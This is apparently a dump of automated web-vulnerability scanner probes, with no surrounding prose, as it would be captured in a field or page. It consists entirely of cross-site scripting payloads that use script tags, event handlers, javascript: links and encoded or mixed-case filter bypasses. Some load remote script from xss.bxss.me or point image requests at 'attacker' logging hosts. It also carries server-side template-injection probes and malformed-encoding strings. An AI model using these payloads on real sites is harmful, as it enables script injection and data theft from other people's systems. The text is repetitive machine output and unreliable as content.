555\u003CScRiPt\Xy3V(9732)\u003C/sCripT\u003E

555<WDVZRZ>1HM6A[!+!]</WDVZRZ>

555<svg  \xa0onload=6OpT(9903)

555'"()&%<zzz><ScRiPt >gY2t(9264)</ScRiPt>

555<aqHnUDP<

bfg8597\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8597

<a HrEF=jaVaScRiPT:>

dfb#{xca}=123

5559357705

bfg9662\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9662

555<ifRAme sRc=9372.com></IfRamE>

555<isindex type=image src=1 onerror=6OpT(9034)>

dfb{{'abcd'.toUpperCase()}}xca

555}body{zzz:Expre/**/SSion(NsW9(9862))}

555&lt

bfgx8950\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8950

bfgx3080\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3080

bfg6441\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl6441

555<atYDy70 x=9623>

'"()&%<zzz><ScRiPt >gY2t(9937)</ScRiPt>

555<iframe src='data:text/html

\xf6<img zzz onmouseover=Xy3V(97631) //\xf6>

<%={{={@{#{${dfb}}%>

555FfyhU <ScRiPt >NsW9(9817)</ScRiPt>

bfgx8100\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8100

5559695336

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<img sRc='http://attacker-9504/log.php?

<%={{={@{#{${dfb}}%>

555<body onload=6OpT(9578)>

555<input autofocus onfocus=Xy3V(9275)>

555

555

555<WUD4IT>O7SFH[!+!]</WUD4IT>

555<a9yaOsm<

bfg4485\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4485

555<img src=//xss.bxss.me/t/dot.gif onload=6OpT(9612)>

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

555<ifRAme sRc=9936.com></IfRamE>

555<img src=xyz OnErRor=6OpT(9943)>

555

<th:t="${dfb}#foreach

dfb[[${98991*97996}]]xca

<th:t="${dfb}#foreach

bfgx5999\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5999

<a HrEF=jaVaScRiPT:>

dfb__${98991*97996}__::.x

555<aG1UkZN x=9198>

<th:t="${dfb}#foreach

<%={{={@{#{${dfb}}%>

555

555<img/src=">" onerror=alert(9374)>

555}body{zzz:Expre/**/SSion(Xy3V(9075))}

555<img sRc='http://attacker-9273/log.php?

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555

555<a6XPO2b<

555

555<ScRiPt >xDUS(9930)</ScRiPt>

555

%35%35%35%3C%53%63%52%69%50%74%20%3E%36%4F%70%54%289721%29%3C%2F%73%43%72%69%70%54%3E

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555HyCDp <ScRiPt >Xy3V(9564)</ScRiPt>

555<WUSZLT>HL0MC[!+!]</WUSZLT>

555'"()&%<zzz><ScRiPt >SpZY(9301)</ScRiPt>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<th:t="${dfb}#foreach

555<WGVPJD>RZ5OI[!+!]</WGVPJD>

'"()&%<zzz><ScRiPt >SpZY(9778)</ScRiPt>

555\u003CScRiPt\6OpT(9833)\u003C/sCripT\u003E

555

555<script>xDUS(9256)</script>

555

555'"()&%<zzz><ScRiPt >csRZ(9180)</ScRiPt>

555

555

555<ifRAme sRc=9450.com></IfRamE>

5559600753

dfb{{98991*97996}}xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555&lt

555<script>xDUS(9693)</script>9693

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >csRZ(9527)</ScRiPt>

555<aWSZI1n x=9329>

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

bfg5596\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5596

dfb[[${98991*97996}]]xca

555<ScR<ScRiPt>IpT>xDUS(9463)</sCr<ScRiPt>IpT>

555

\xf6<img zzz onmouseover=6OpT(92991) //\xf6>

5559556529

dfb__${98991*97996}__::.x

555<ScRiPt >xDUS(9734)</ScRiPt>

dfb[[${98991*97996}]]xca

555<img sRc='http://attacker-9697/log.php?

dfb__${98991*97996}__::.x

bfgx10938\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10938

dfb{{98991*97996}}xca

555<input autofocus onfocus=6OpT(9859)>

dfb[[${98991*97996}]]xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9561></ScRiPt>

dfb__${98991*97996}__::.x

<%={{={@{#{${dfb}}%>

<a HrEF=http://xss.bxss.me></a>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg9794\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9794

555<ass5Elr<

dfb__${98991*97996}__::.x

555<ScRiPt >xDUS(9444)</ScRiPt>

555<ScRiPt >hqMV(9410)</ScRiPt>

<a HrEF=jaVaScRiPT:>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfgx10233\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10233

555<ScRiPt >a3YZ(9407)</ScRiPt>

555'"()&%<zzz><ScRiPt >utE7(9976)</ScRiPt>

555}body{zzz:Expre/**/SSion(6OpT(9433))}

<th:t="${dfb}#foreach

555<svg  \xa0onload=xDUS(9858)

555<WCHO4T>N9YV4[!+!]</WCHO4T>

555<ScRiPt >e3Tj(9050)</ScRiPt>

<%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<isindex type=image src=1 onerror=xDUS(9164)>

555<WSJ3CV>YGYJE[!+!]</WSJ3CV>

555<WDSVRT>B2FBU[!+!]</WDSVRT>

555'"()&%<zzz><ScRiPt >JvHK(9760)</ScRiPt>

555

'"()&%<zzz><ScRiPt >utE7(9386)</ScRiPt>

555SRNn6 <ScRiPt >6OpT(9193)</ScRiPt>

555<script>hqMV(9080)</script>

555<ScRiPt >gY2t(9898)</ScRiPt>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555<script>e3Tj(9964)</script>

5559874595

'"()&%<zzz><ScRiPt >JvHK(9782)</ScRiPt>

555<WSZUND>M6K8Z[!+!]</WSZUND>

555<script>a3YZ(9096)</script>

555<WZMXB2>CWTGB[!+!]</WZMXB2>

555<body onload=xDUS(9606)>

555

555<script>hqMV(9056)</script>9056

555<ifRAme sRc=9338.com></IfRamE>

<th:t="${dfb}#foreach

555<img src=//xss.bxss.me/t/dot.gif onload=xDUS(9488)>

5559058839

555<script>a3YZ(9331)</script>9331

555<script>e3Tj(9534)</script>9534

bfg9400\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9400

555<script>gY2t(9533)</script>

555<ScR<ScRiPt>IpT>hqMV(9131)</sCr<ScRiPt>IpT>

555<img src=xyz OnErRor=xDUS(9106)>

555<a9LUJjK x=9301>

555<ScR<ScRiPt>IpT>a3YZ(9734)</sCr<ScRiPt>IpT>

dfb{{98991*97996}}xca

bfg10315\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10315

555<ScR<ScRiPt>IpT>e3Tj(9089)</sCr<ScRiPt>IpT>

bfgx10640\xc0\xbez1\xc0\xbcz2a\x90bcxhjl10640

555<script>gY2t(9457)</script>9457

555<ScRiPt >a3YZ(9262)</ScRiPt>

555

555<ScRiPt >hqMV(9138)</ScRiPt>

555<img/src=">" onerror=alert(9593)>

555<ScRiPt >e3Tj(9025)</ScRiPt>

555<ScR<ScRiPt>IpT>gY2t(9015)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9685></ScRiPt>

555<img sRc='http://attacker-9068/log.php?

dfb[[${98991*97996}]]xca

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<ScRiPt >gY2t(9912)</ScRiPt>

bfgx3935\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3935

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9465></ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9518></ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%78%44%55%53%289226%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >a3YZ(9703)</ScRiPt>

dfb__${98991*97996}__::.x

555

555<aQkMAtO<

555

555<ScRiPt >hqMV(9479)</ScRiPt>

555<ScRiPt >e3Tj(9749)</ScRiPt>

555\u003CScRiPt\xDUS(9672)\u003C/sCripT\u003E

<%={{={@{#{${dfb}}%>

555<svg  \xa0onload=a3YZ(9207)

dfb{{98991*97996}}xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9818></ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<svg  \xa0onload=e3Tj(9310)

<th:t="${dfb}#foreach

555<svg  \xa0onload=hqMV(9909)

555

555<ScRiPt >SpZY(9874)</ScRiPt>

555<isindex type=image src=1 onerror=a3YZ(9831)>

555&lt

555

555<ScRiPt >gY2t(9538)</ScRiPt>

555<isindex type=image src=1 onerror=e3Tj(9177)>

dfb[[${98991*97996}]]xca

555<iframe src='data:text/html

\xf6<img zzz onmouseover=xDUS(98251) //\xf6>

<th:t="${dfb}#foreach

555<WKQTZK>YR1TZ[!+!]</WKQTZK>

555<input autofocus onfocus=xDUS(9888)>

555<iframe src='data:text/html

555<isindex type=image src=1 onerror=hqMV(9155)>

555<svg  \xa0onload=gY2t(9276)

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

555<body onload=a3YZ(9115)>

555

555<isindex type=image src=1 onerror=gY2t(9150)>

555<script>SpZY(9527)</script>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<body onload=e3Tj(9489)>

555<iframe src='data:text/html

555<img src=//xss.bxss.me/t/dot.gif onload=a3YZ(9124)>

<a HrEF=http://xss.bxss.me></a>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<iframe src='data:text/html

555

555<img src=//xss.bxss.me/t/dot.gif onload=e3Tj(9571)>

555<script>SpZY(9318)</script>9318

555<body onload=hqMV(9716)>

<a HrEF=jaVaScRiPT:>

dfb{{98991*97996}}xca

555<img src=xyz OnErRor=a3YZ(9173)>

555<ScRiPt >csRZ(9146)</ScRiPt>

555<img src=xyz OnErRor=e3Tj(9651)>

555

555<body onload=gY2t(9761)>

555<WBVZBK>X2PFO[!+!]</WBVZBK>

555<img/src=">" onerror=alert(9035)>

dfb{{98991*97996}}xca

555<ScR<ScRiPt>IpT>SpZY(9084)</sCr<ScRiPt>IpT>

dfb[[${98991*97996}]]xca

555<img/src=">" onerror=alert(9596)>

555}body{zzz:Expre/**/SSion(xDUS(9863))}

555<img src=//xss.bxss.me/t/dot.gif onload=hqMV(9706)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%65%33%54%6A%289862%29%3C%2F%73%43%72%69%70%54%3E

555<img src=//xss.bxss.me/t/dot.gif onload=gY2t(9965)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%61%33%59%5A%289688%29%3C%2F%73%43%72%69%70%54%3E

dfb[[${98991*97996}]]xca

555<script>csRZ(9360)</script>

555<ScRiPt >SpZY(9417)</ScRiPt>

555<img src=xyz OnErRor=hqMV(9579)>

555UtdW7 <ScRiPt >xDUS(9659)</ScRiPt>

dfb__${98991*97996}__::.x

dfb__${98991*97996}__::.x

555<img/src=">" onerror=alert(9298)>

555<img src=xyz OnErRor=gY2t(9770)>

555\u003CScRiPt\a3YZ(9543)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9626></ScRiPt>

555<WKIRAI>TWLVJ[!+!]</WKIRAI>

555<script>csRZ(9102)</script>9102

555\u003CScRiPt\e3Tj(9367)\u003C/sCripT\u003E

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

%35%35%35%3C%53%63%52%69%50%74%20%3E%68%71%4D%56%289244%29%3C%2F%73%43%72%69%70%54%3E

555<ScRiPt >JvHK(9818)</ScRiPt>

555<ScR<ScRiPt>IpT>csRZ(9978)</sCr<ScRiPt>IpT>

555<ScRiPt >SpZY(9022)</ScRiPt>

555<img/src=">" onerror=alert(9547)>

555<ifRAme sRc=9578.com></IfRamE>

555\u003CScRiPt\hqMV(9577)\u003C/sCripT\u003E

555&lt

555<ScRiPt >utE7(9272)</ScRiPt>

555&lt

555<ScRiPt >csRZ(9147)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%67%59%32%74%289954%29%3C%2F%73%43%72%69%70%54%3E

555<ajeB6GM x=9789>

555<W1DXPW>LEUHQ[!+!]</W1DXPW>

555<svg  \xa0onload=SpZY(9462)

555&lt

\xf6<img zzz onmouseover=e3Tj(98051) //\xf6>

555<WWTPDX>Y4CPI[!+!]</WWTPDX>

\xf6<img zzz onmouseover=a3YZ(98121) //\xf6>

555<script>JvHK(9291)</script>

555<img sRc='http://attacker-9225/log.php?

555\u003CScRiPt\gY2t(9194)\u003C/sCripT\u003E

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9794></ScRiPt>

555<isindex type=image src=1 onerror=SpZY(9168)>

555<input autofocus onfocus=e3Tj(9425)>

555<script>JvHK(9073)</script>9073

\xf6<img zzz onmouseover=hqMV(93851) //\xf6>

555<script>utE7(9036)</script>

555<input autofocus onfocus=a3YZ(9082)>

<a HrEF=http://xss.bxss.me></a>

555<iframe src='data:text/html

555&lt

555<script>utE7(9871)</script>9871

555<azriXaK<

555<body onload=SpZY(9028)>

555<ScRiPt >csRZ(9360)</ScRiPt>

555<ScR<ScRiPt>IpT>JvHK(9886)</sCr<ScRiPt>IpT>

<a HrEF=jaVaScRiPT:>

555<input autofocus onfocus=hqMV(9537)>

<a HrEF=http://xss.bxss.me></a>

555<img src=//xss.bxss.me/t/dot.gif onload=SpZY(9071)>

555<ScR<ScRiPt>IpT>utE7(9907)</sCr<ScRiPt>IpT>

555<svg  \xa0onload=csRZ(9833)

555<ScRiPt >JvHK(9988)</ScRiPt>

\xf6<img zzz onmouseover=gY2t(95911) //\xf6>

555<ScRiPt >utE7(9937)</ScRiPt>

<a HrEF=jaVaScRiPT:>

<a HrEF=http://xss.bxss.me></a>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9696></ScRiPt>

555}body{zzz:Expre/**/SSion(e3Tj(9518))}

555<img src=xyz OnErRor=SpZY(9301)>

<a HrEF=jaVaScRiPT:>

555<isindex type=image src=1 onerror=csRZ(9336)>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9145></ScRiPt>

555<input autofocus onfocus=gY2t(9665)>

555JaD5X <ScRiPt >e3Tj(9090)</ScRiPt>

555<ScRiPt >JvHK(9098)</ScRiPt>

555}body{zzz:Expre/**/SSion(a3YZ(9865))}

555<iframe src='data:text/html

555<img/src=">" onerror=alert(9967)>

555}body{zzz:Expre/**/SSion(hqMV(9393))}

555<ScRiPt >utE7(9544)</ScRiPt>

555<WXRZCO>B1OBB[!+!]</WXRZCO>

555<svg  \xa0onload=JvHK(9951)

5558A951 <ScRiPt >a3YZ(9207)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<svg  \xa0onload=utE7(9079)

%35%35%35%3C%53%63%52%69%50%74%20%3E%53%70%5A%59%289732%29%3C%2F%73%43%72%69%70%54%3E

555<isindex type=image src=1 onerror=JvHK(9380)>

555hcEtA <ScRiPt >hqMV(9931)</ScRiPt>

<a HrEF=jaVaScRiPT:>

555<body onload=csRZ(9923)>

555<isindex type=image src=1 onerror=utE7(9177)>

555\u003CScRiPt\SpZY(9979)\u003C/sCripT\u003E

555<ifRAme sRc=9471.com></IfRamE>

555}body{zzz:Expre/**/SSion(gY2t(9396))}

555<WANQ0N>ESJLH[!+!]</WANQ0N>

555<iframe src='data:text/html

555<WTW6TH>QW5Y9[!+!]</WTW6TH>

555<img src=//xss.bxss.me/t/dot.gif onload=csRZ(9041)>

555<ifRAme sRc=9075.com></IfRamE>

555AziDK <ScRiPt >gY2t(9031)</ScRiPt>

555<body onload=JvHK(9850)>

555&lt

555<ifRAme sRc=9523.com></IfRamE>

555<iframe src='data:text/html

555<amjqpEt x=9520>

555<img src=xyz OnErRor=csRZ(9929)>

555<aTBOWk4 x=9042>

555<body onload=utE7(9716)>

555<img src=//xss.bxss.me/t/dot.gif onload=JvHK(9829)>

\xf6<img zzz onmouseover=SpZY(99801) //\xf6>

555<W0IQ9O>LDWON[!+!]</W0IQ9O>

555<aayH7Ge x=9887>

555<img sRc='http://attacker-9125/log.php?

555<img sRc='http://attacker-9644/log.php?

555<input autofocus onfocus=SpZY(9272)>

555<img/src=">" onerror=alert(9944)>

555<img src=xyz OnErRor=JvHK(9630)>

555<img sRc='http://attacker-9203/log.php?

555<am3IC44<

555<img src=//xss.bxss.me/t/dot.gif onload=utE7(9230)>

555<aXZI05F<

555<ifRAme sRc=9443.com></IfRamE>

<a HrEF=http://xss.bxss.me></a>

555<img/src=">" onerror=alert(9752)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%63%73%52%5A%289759%29%3C%2F%73%43%72%69%70%54%3E

555<aphT79J<

555<img src=xyz OnErRor=utE7(9476)>

555<aXs8rPY x=9705>

<a HrEF=jaVaScRiPT:>

%35%35%35%3C%53%63%52%69%50%74%20%3E%4A%76%48%4B%289765%29%3C%2F%73%43%72%69%70%54%3E

555<img sRc='http://attacker-9663/log.php?

555\u003CScRiPt\csRZ(9753)\u003C/sCripT\u003E

555<img/src=">" onerror=alert(9079)>

555}body{zzz:Expre/**/SSion(SpZY(9468))}

555gJtea <ScRiPt >SpZY(9770)</ScRiPt>

555<aNJi44w<

555\u003CScRiPt\JvHK(9345)\u003C/sCripT\u003E

%35%35%35%3C%53%63%52%69%50%74%20%3E%75%74%45%37%289369%29%3C%2F%73%43%72%69%70%54%3E

555&lt

555<WBSZZZ>IDKGE[!+!]</WBSZZZ>

555&lt

555\u003CScRiPt\utE7(9601)\u003C/sCripT\u003E

\xf6<img zzz onmouseover=csRZ(92971) //\xf6>

555<ifRAme sRc=9727.com></IfRamE>

555&lt

\xf6<img zzz onmouseover=JvHK(99971) //\xf6>

555<aG4KTNE x=9565>

555'"()&%<zzz><ScRiPt >w7Nn(9095)</ScRiPt>

555<input autofocus onfocus=csRZ(9970)>

555<input autofocus onfocus=JvHK(9636)>

\xf6<img zzz onmouseover=utE7(97241) //\xf6>

'"()&%<zzz><ScRiPt >w7Nn(9849)</ScRiPt>

555'"()&%<zzz><ScRiPt >Ypoh(9813)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555'"()&%<zzz><ScRiPt >TtL5(9620)</ScRiPt>

<a HrEF=http://xss.bxss.me></a>

555<img sRc='http://attacker-9904/log.php?

5559674200

'"()&%<zzz><ScRiPt >Ypoh(9283)</ScRiPt>

<a HrEF=jaVaScRiPT:>

'"()&%<zzz><ScRiPt >TtL5(9716)</ScRiPt>

555<input autofocus onfocus=utE7(9728)>

<a HrEF=jaVaScRiPT:>

555<a7ogBod<

5559601599

bfg10479\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl10479

555'"()&%<zzz><ScRiPt >NKMI(9363)</ScRiPt>

555}body{zzz:Expre/**/SSion(csRZ(9306))}

5559041898

555'"()&%<zzz><ScRiPt >Dup3(9628)</ScRiPt>

555'"()&%<zzz><ScRiPt >oi5u(9119)</ScRiPt>

bfgx5511\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5511

<a HrEF=http://xss.bxss.me></a>

bfg9467\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9467

'"()&%<zzz><ScRiPt >NKMI(9093)</ScRiPt>

'"()&%<zzz><ScRiPt >Dup3(9733)</ScRiPt>

bfg8697\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8697

555nyg57 <ScRiPt >csRZ(9806)</ScRiPt>

555}body{zzz:Expre/**/SSion(JvHK(9067))}

bfgx3367\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3367

<%={{={@{#{${dfb}}%>

'"()&%<zzz><ScRiPt >oi5u(9208)</ScRiPt>

555'"()&%<zzz><ScRiPt >jgxz(9120)</ScRiPt>

5559443312

5559297450

555<WIAF4B>54NFA[!+!]</WIAF4B>

<a HrEF=jaVaScRiPT:>

bfgx5034\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5034

5559781858

555dIVGh <ScRiPt >JvHK(9019)</ScRiPt>

555<ifRAme sRc=9682.com></IfRamE>

bfg9610\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl9610

555

'"()&%<zzz><ScRiPt >jgxz(9290)</ScRiPt>

<%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555}body{zzz:Expre/**/SSion(utE7(9768))}

bfg4737\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl4737

bfgx6512\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6512

<th:t="${dfb}#foreach

5559550323

555<abnZ24m x=9105>

555<WKZZNH>ZMB4S[!+!]</WKZZNH>

bfg3545\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl3545

<%={{={@{#{${dfb}}%>

bfgx5356\xc0\xbez1\xc0\xbcz2a\x90bcxhjl5356

bfg1137\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl1137

<th:t="${dfb}#foreach

555QXrTS <ScRiPt >utE7(9672)</ScRiPt>

555

555

<%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<img sRc='http://attacker-9493/log.php?

bfgx1790\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1790

555

dfb{{98991*97996}}xca

bfgx8529\xc0\xbez1\xc0\xbcz2a\x90bcxhjl8529

555<ifRAme sRc=9182.com></IfRamE>

555

<th:t="${dfb}#foreach

555<WD0KDX>O3BS2[!+!]</WD0KDX>

555<a2sJIEE<

dfb{{98991*97996}}xca

<th:t="${dfb}#foreach

<th:t="${dfb}#foreach

dfb{{98991*97996}}xca

<%={{={@{#{${dfb}}%>

555<aRbY7vl x=9887>

555

dfb{98991*97996}xca

555<ifRAme sRc=9351.com></IfRamE>

<%={{={@{#{${dfb}}%>

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb${98991*97996}xca

555'"()&%<zzz><ScRiPt >NWNg(9809)</ScRiPt>

555

dfb[[${98991*97996}]]xca

555

555<a8KCDd5 x=9743>

555

555<img sRc='http://attacker-9158/log.php?

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb#{98991*97996}xca

555

555<ai3zvwe<

dfb{{98991*97996}}xca

'"()&%<zzz><ScRiPt >NWNg(9858)</ScRiPt>

dfb{{98991*97996}}xca

dfb{#98991*97996}xca

555<img sRc='http://attacker-9318/log.php?

555

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555'"()&%<zzz><ScRiPt >JWlu(9891)</ScRiPt>

5559631896

dfb{@98991*97996}xca

dfb{{98991*97996}}xca

555<ScRiPt >Ypoh(9904)</ScRiPt>

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

dfb{{98991*97996}}xca

555

dfb{{=98991*97996}}xca

555<WNANE6>NHHCI[!+!]</WNANE6>

555<aLRFoH3<

dfb@(98991*97996)xca

bfg5281\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5281

'"()&%<zzz><ScRiPt >JWlu(9176)</ScRiPt>

dfb{98991*97996}xca

dfb[[${98991*97996}]]xca

dfb{98991*97996}xca

dfb[[${98991*97996}]]xca

dfb{{98991*97996}}xca

555<script>Ypoh(9354)</script>

555'"()&%<zzz><ScRiPt >B2pk(9285)</ScRiPt>

bfgx1297\xc0\xbez1\xc0\xbcz2a\x90bcxhjl1297

dfb<%=98991*97996%>xca

'"()&%<zzz><ScRiPt >B2pk(9535)</ScRiPt>

dfb${98991*97996}xca

dfb${98991*97996}xca

dfb__${98991*97996}__::.x

5559002475

555<script>Ypoh(9137)</script>9137

dfb[[${98991*97996}]]xca

<%={{={@{#{${dfb}}%>

dfb__${98991*97996}__::.x

dfb#{98991*97996}xca

dfb#set($x=98991*97996)${x}xca

dfb__${98991*97996}__::.x

dfb#{98991*97996}xca

555

5559126840

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<ScR<ScRiPt>IpT>Ypoh(9455)</sCr<ScRiPt>IpT>

dfb{#98991*97996}xca

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg8200\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl8200

dfb{#98991*97996}xca

bfg5413\xef\xbc\x9cs1\xef\xb9\xa5s2\xca\xbas3\xca\xb9hjl5413

555<ScRiPt >Ypoh(9507)</ScRiPt>

555<ScRiPt >TtL5(9285)</ScRiPt>

555<ScRiPt >Dup3(9912)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{@98991*97996}xca

dfb{{"abc"|title}}xca

<th:t="${dfb}#foreach

bfgx3552\xc0\xbez1\xc0\xbcz2a\x90bcxhjl3552

555<WJKFVJ>CJEAI[!+!]</WJKFVJ>

555<ScRiPt >NKMI(9390)</ScRiPt>

dfb{@98991*97996}xca

555<W1UK8K>IUALR[!+!]</W1UK8K>

bfgx6166\xc0\xbez1\xc0\xbcz2a\x90bcxhjl6166

555

print("dfb" . 98991*97996 . "xca")

<%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9523></ScRiPt>

dfb{{=98991*97996}}xca

dfb{{=98991*97996}}xca

555<script>Dup3(9046)</script>

555<WCO6KI>KXCRF[!+!]</WCO6KI>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

<%={{={@{#{${dfb}}%>

555<script>TtL5(9750)</script>

98991*97996*98991*97996

555<ScRiPt >Ypoh(9377)</ScRiPt>

555<script>Dup3(9968)</script>9968

dfb@(98991*97996)xca

dfb@(98991*97996)xca

555<script>NKMI(9537)</script>

555

555<script>TtL5(9982)</script>9982

555

555<svg  \xa0onload=Ypoh(9498)

555

555<ScR<ScRiPt>IpT>Dup3(9685)</sCr<ScRiPt>IpT>

555<ScR<ScRiPt>IpT>TtL5(9494)</sCr<ScRiPt>IpT>

dfb<%=98991*97996%>xca

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb<%=98991*97996%>xca

dfb{{98991*97996}}xca

555<isindex type=image src=1 onerror=Ypoh(9885)>

<th:t="${dfb}#foreach

555<script>NKMI(9027)</script>9027

<th:t="${dfb}#foreach

555<ScRiPt >TtL5(9558)</ScRiPt>

dfb#set($x=98991*97996)${x}xca

dfb#set($x=98991*97996)${x}xca

555

dfb{{{this}}}xca

555<ScRiPt >Dup3(9672)</ScRiPt>

555<iframe src='data:text/html

dfb[[${98991*97996}]]xca

dfb{{"abc"|title}}xca

dfb{{"abc"|title}}xca

555<ScR<ScRiPt>IpT>NKMI(9607)</sCr<ScRiPt>IpT>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9082></ScRiPt>

555<body onload=Ypoh(9892)>

#{98991*97996*98991*97996}

555

dfb__${98991*97996}__::.x

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9150></ScRiPt>

print("dfb" . 98991*97996 . "xca")

555<ScRiPt >NKMI(9907)</ScRiPt>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

dfb{{98991*97996}}xca

555<img src=//xss.bxss.me/t/dot.gif onload=Ypoh(9832)>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

dfb#{xca}=123

98991*97996*98991*97996

555<ScRiPt >NWNg(9256)</ScRiPt>

print("dfb" . 98991*97996 . "xca")

555<img src=xyz OnErRor=Ypoh(9195)>

555<ScRiPt >Dup3(9781)</ScRiPt>

dfb{{'abcd'.toUpperCase()}}xca

555<ScRiPt >TtL5(9238)</ScRiPt>

dfb[[${98991*97996}]]xca

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9563></ScRiPt>

555<svg  \xa0onload=Dup3(9001)

dfb{@math key=98991 method="multiply" operand=97996/}xca

555<WQLHKR>NKCPJ[!+!]</WQLHKR>

555<img/src=">" onerror=alert(9577)>

555

555<svg  \xa0onload=TtL5(9671)

98991*97996*98991*97996

555<ScRiPt >NKMI(9891)</ScRiPt>

AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA

555<script>NWNg(9338)</script>

%35%35%35%3C%53%63%52%69%50%74%20%3E%59%70%6F%68%289958%29%3C%2F%73%43%72%69%70%54%3E

dfb__${98991*97996}__::.x

555<isindex type=image src=1 onerror=TtL5(9123)>

dfb{{{this}}}xca

555<isindex type=image src=1 onerror=Dup3(9503)>

dfb{@math key=98991 method="multiply" operand=97996/}xca

dfb{{98991*97996}}xca

